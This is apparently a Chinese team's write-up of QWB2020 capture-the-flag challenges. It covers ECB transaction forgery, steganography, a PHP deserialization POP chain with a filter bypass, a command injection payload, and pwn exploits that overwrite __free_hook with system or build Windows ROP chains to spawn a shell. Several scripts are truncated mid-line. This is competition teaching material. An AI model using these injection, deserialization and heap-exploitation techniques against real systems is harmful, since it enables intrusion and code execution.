Category - QWB2020

[强网先锋] bank

操作内容

工作量证明,很简单,脚本直接爆破
1000钱可以买flag
流程:
1.随便一个账号先转账给先前注册了的账号,得到密文,因为是ecb加密,且直接拼接密文,可以获得本账户的身份密文。
2.查看交易记录,提取交易记录到账用户和金额的密文。伪造交易记录进行交易,将其他用户的钱转到自己帐户
3.买flag
title

脚本

  1. from pwn import *
  2. import string
  3. from hashlib import *
  4. from time import *
  5. #context(log_level="debug")
  6. seed = string.printable
  7. def aaa(head,tail):
  8. #print head,tail
  9. st1 = string.printable
  10. for i in st1:
  11. for j in st1:
  12. for k in st1:
  13. tmp = i + j + k
  14. shaaa = sha256(tmp+head)
  15. #print shaaa.hexdigest(),tail
  16. if shaaa.hexdigest() == tail:
  17. return tmp
  18. p = remote('39.101.134.52',8005)
  19. sha = p.recvuntil('XXX:').split("\n")[0]
  20. tmp1 = sha.find('+')
  21. tmp2 = sha.find(' ')
  22. head = sha[tmp1+1:tmp2-1]
  23. mid = sha[tmp2:]
  24. tail = mid[mid.find("=")+3:]
  25. result = aaa(head.strip(),tail.strip())
  26. #print result
  27. p.sendline(result)
  28. sleep(0.2)
  29. p.recv()
  30. p.sendline('icq1d32a79f249369198eafd015dee55

[强网先锋] miscstudy

操作内容

1.流量包查看http,访问网站http://39.99.247.28/fonts/1获取
2.将网站密文日志写入文件,解密流量包的加密流量,发现新的png,最底下很多base64加密密文,解密获取flag
title
title
3.上一步文件底下还有很多base64,解密后为三位二进制代码,全部提取长度为3600,可以转成二维码。(脚本在下面)
title
扫码的到新的地址,下载是新的图片。判断为jphide隐写,steghide爆破密码为power123,使用jphs解密,得到flag和新地址
title
4.扫码的到新的地址,下载一个压缩包里面很多内容,level5.png无法直接提取,但是可以直接foremost出来。
title
5.level6.zip里面三个文件,但是都很小,考虑直接crc碰撞。碰撞成功得到flag。(脚本在下面)
6.level5.zip中有1.png,而且level7.zip中也有,考虑明文攻击。7zip普通压缩一下1.png然后就能跑出来解密的压缩包。
title
两张图片,一张很大一张很小,考虑盲水印,但是python2跑脚本跑不出来,必须使用python3才能跑出来。
title
7.上一步的到网址访问。直接下载html发现有多余数据,考虑html隐写(snow)。
title
网页中有提示,密码为括号内内容no one can find me,网站http://fog.misty.com/cgi/snow解密
title
8.最终拼接7部分为flag

脚本

二维码

  1. #coding=utf-8
  2. from PIL import Image
  3. x = 60 #x坐标 通过对txt里的行数进行整数分解
  4. y = 60 #y坐标 x * y = 行数
  5. pic = Image.new("RGB",(x, y))
  6. data = "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111000

web辅助
操作内容:
1、common.php中的read和write函数,
调用后读出有一个5字符变3字符的字符逃逸问题。所以在进行反序列化的时候,还会继续向后读取,这样序列化的结果就完全不一样了。
2、构造pop链
topsolo类的TP方法进行对象调用--》触发midsolo的__invoke方法然后触发Gank方法--》stristr是对字符串的操作触发了jungle类的__toString方法达到输出flag的目的
3、源码中class.php中出现了四个类,player,topsolo,midsolo,jungle,除了player类其他三个类中都出现了一个name属性,然后看到common.php中有check函数有对这个name字符串进行限制:

  1. if(stristr($data, 'name')!==False){
  2. die("Name Pass\n");
  3. }
  4. else{
  5. return $data;
  6. }

需要绕过stristr对name的检测:
这里可以通过序列化时将s改为S,php序列化中为了避免信息丢失,支持当使用大写S时,此时这个字符串就支持将后面的字符串用16进制表示。
4、payload构造

  1. $jun=new jungle(NULL);
  2. $mid=new midsolo($jun);
  3. $top=new topsolo($mid);
  4. $payload=(serialize($top));
  5. //O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";N;}}}

5、计算逃逸点
一点点试,
最后固定username的值为\0*\0为22组,则可以逃逸出44个字符
构造pass属性的值:

  1. ;"AAAAAAAAAAAAAAAAAAA";s:8:"%00*%00admin";O:7:"topsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\

[强网先锋] 主动

操作内容

ban了flag关键字,直接使用grep命令,无需使用flag
payload:127.0.0.1;grep -r fl

flag

flag{I_like_qwb_web}

edit存在整数溢出,可以越界写。用 opendir 函数在堆上创建一个DIR结构体,利用 edit 修改 offset 字段指向 unsorted bins 堆块,然后调用 readdir 返回堆块并泄漏上面的libc地址。

首先释放8个 0x90 堆块,填满 tcache 并将其中一个堆块放进 unsorted bin。unsorted bin 堆块上有 main_arena 地址。

  1. for i in range(8):
  2. add(i, 0x80)
  3. add(0xf, 0x80)
  4. for i in range(8):
  5. free(i)

title

然后利用 edit 功能修改堆上 DIR 结构体指向 unsorted bin 堆块。

  1. # dirp->size = -1
  2. edit(0, 8, (0x555555757270-0x55555575f600), p64(-1, signed=True))
  3. # dirp->offset = 0x83ed
  4. edit(0, 8, (0x555555757270-0x55555575f600)+8, p64((0x55555575f690-0x555555757290)-0x13))
  5. # dp->d_ino = 0x414141
  6. edit(0, 0x80, 0, b'A'*0x80)

title

然后调用 readdir 泄露 main_arena 地址。

  1. readdir()
  2. p.recvuntil("Filename: ")
  3. libc.address = u64(p.recv(6) + b'\x00\x00') - (0x7ffff7dcfca0-0x7ffff79e4000)

再次利用 edit 功能将 tcache fd 改成 free_hook 地址。分配得到 free_hook 地址后,写入 system 函数地址。最后调用 free 函数 getshell。

  1. edit(0, 8, (0x555555757088-0x55555575f600), p64(libc.symbols["__free_hook"]))
  2. add(1, 0x80)
  3. edit(1, 8, 0, p64(libc.symbols["syst

windows 下简单的栈溢出,rop过程比较复杂,code段可用gadget太少,可以先泄露栈上一个ntdll的地址,然后就可以使用ntdll里面丰富的gadget了。和linux系统不同,这里好像没有plt函数的概念,因此调用来自ucrtbase的函数时候要借助以下两条gadget。

  1. mov_rax_rax = ntdll_base + 0xbbd33 #0x00000001800bbd33: mov rax, qword ptr [rax]; ret;
  2. call_rax = ntdll_base + 0xa479d #0x00000001800a479d: call rax; nop; add rsp, 0x28; ret;

思路是先通过泄露iat表上ucrtbase库函数地址puts,算ucrtbase的基地址,然后知道system地址以后就可以system("/cmd")。做法还是比较直接,就是winddbg preview的环境配置比较坑。而且windows不像linux可以直接加载自定义的动态库,打远程的时候偏移还得重新改。

  1. from winpwn import *
  2. import sys
  3. context.log_level = "debug"
  4. # p = process(["./StackOverflow.exe", "1"])
  5. p = remote("39.99.46.209", 13389)
  6. cyclic = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaad

mmap edit的地方有个瞎写的检查,可以直接越界写libc上面的内容,直接改free_hook,system("/bin/sh")结束。

  1. from pwn import *
  2. import re
  3. context.terminal = ['tmux', 'splitw', '-h']
  4. context.arch = 'amd64'
  5. context.log_level = "debug"
  6. env = {'LD_PRELOAD': ''}
  7. if len(sys.argv) == 1:
  8. p = process('./oldschool')
  9. elif len(sys.argv) == 3:
  10. p = remote(sys.argv[1], sys.argv[2])
  11. bp_list = []
  12. se = lambda data :p.send(data)
  13. sa = lambda delim,data :p.sendafter(delim, data)
  14. sl = lambda data :p.sendline(data)
  15. sla = lambda delim,data :p.sendlineafter(delim, data)
  16. sea = lambda delim,data :p.sendafter(delim, data)
  17. rc = lambda numb=4096 :p.recv(numb)
  18. ru = lambda delims, drop=True :p.recvuntil(delims, drop)
  19. uu32 = lambda data :u32(data.ljust(4, '\0'))
  20. uu64 = lambda data :u64(data.ljust(8, '\0'))
  21. info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
  22. # g

0x00 题目名称
操作内容:

如有脚本,请在贴脚本:

  1. python

flag值:
flag{Xp0int}

先简单写写,后面有时间补齐。需要写反汇编器读出pass的逻辑,基本就是通过xor来简单加密,进去主逻辑后会有简单栈溢出,可以控pc。问题就是虚拟机内部的code段和data段是严格分离的,不能直接跳shellcode。但是image内部无用代码可以扫出完整的pop ret和syscall gadget,拼起来可以做rop直接open read write读flag。
反汇编以及扫gadget的脚本:

  1. from VM_Disassembler import VM_Disassembler
  2. import struct
  3. from io import open
  4. import re
  5. def bytes_to_word(val_bytes):
  6. return val_bytes[0] + 0x100 * val_bytes[1]
  7. def bytes_to_int(val_bytes):
  8. val = 0
  9. for byte_val in val_bytes[::-1]:
  10. val *= 0x100
  11. val += byte_val
  12. return val
  13. def offset_to_addr(offset):
  14. vm_start = 0x1190
  15. return offset - vm_start
  16. def get_imm(hi, data):
  17. if hi == 0x10:
  18. return data[0]
  19. elif hi == 0x20:
  20. return bytes_to_word(data)
  21. elif hi == 0x30:
  22. return bytes_to_int(data[:4])
  23. elif hi == 0x40:
  24. return bytes_to_int(data[:8])
  25. regs = ['r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15',
  26. 'rdi', 'rsi', 'rbp', 'rbx', 'rdx', 'rax', 'rcx', 'rsp', 'rip', 'efla

[强网先锋] upload

操作内容

打开流量包,提示steghide,post了一个图片

使用tcpxtract分离图片

steghide爆破,密码123456

网上的脚本

  1. #bruteStegHide.sh
  2. #!/bin/bash
  3. for line in `cat $2`;do
  4. steghide extract -sf $1 -p $line > /dev/null 2>&1
  5. if [[ $? -eq 0 ]];then
  6. echo 'password is: '$line
  7. exit
  8. fi
  9. done

flag

flag{te11_me_y0u_like_it}

    Page 1 of 2